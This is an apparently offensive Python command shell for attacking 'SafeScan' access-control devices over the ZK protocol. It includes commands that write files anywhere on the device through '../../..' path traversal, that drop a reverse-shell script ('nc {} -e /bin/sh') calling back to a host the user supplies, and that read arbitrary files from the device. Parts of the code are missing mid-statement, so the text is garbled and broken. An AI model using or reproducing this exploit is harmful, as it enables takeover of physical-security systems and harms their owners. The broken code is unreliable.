import cmd import traceback from pyzatt.pyzatt import pyzatt as pyzk from pyzatt.pyzatt.zkmodules import defs as defs from pyzatt.pyzatt.misc import * import time # import struct class SafeScan(cmd.Cmd): """Simple command prompt for SafeScan devices""" host = '' z = pyzk.ZKSS() def do_connect(self, line): try: self.z.connect_net(self.host, 4370) self.z.disable_device() print("Connected to {}".format(self.host)) except: print("Error: connection") def do_write_lcd(self, line): """Write to the LCD screen""" try: payload = bytearray() line += '\x00\x00' message = bytearray([0x00]*50) message[0:10] = 'aaaaaaaaaa'.encode() payload.extend(struct.pack('\n[*] Output will not be returned, but you could write to a file and get it afterwards\n") return True try: # prepare data self.z.send_command(1500, struct.pack(' ") return True file = line.split(' ')[0] dest = line.split(' ')[1] if dest[0] != '/': dest = '/' + dest dest_final = "../../.." + dest + '\x00\x00\x00' try: print("[-] Creating {}".format(file)) with open(file, 'r') as fp: payload = fp.read() # prepare data self.z.send_command(1500, struct.pack('") return True try: print("[-] Creating test.sh") payload = "(sleep 60 && nc {} -e /bin/sh)&".format(line) filename = "test.sh\x00" # prepare data print("[-] Preparing payload") self.z.send_command(1500, struct.pack(' 1: print("True") save_as = line.split(' ')[1] try: self.z.send_command(1702, str.encode(file + '\x00')) self.z.recv_long_reply() if save_as and len(self.z.last_payload_data.decode()): with open(save_as, 'w') as fp: fp.write(self.z.last_payload_data.decode()) print("Saved as {}".format(save_as)) else: print(self.z.last_payload_data.decode()) except Exception: traceback.print_exc() if __name__ == '__main__': import sys if len(sys.argv) > 1: host = sys.argv[1] try: s = SafeScan() s.host = host s.onecmd('connect') s.cmdloop() except: print("Error") else: print("Usage: {} ".format(sys.argv[0]))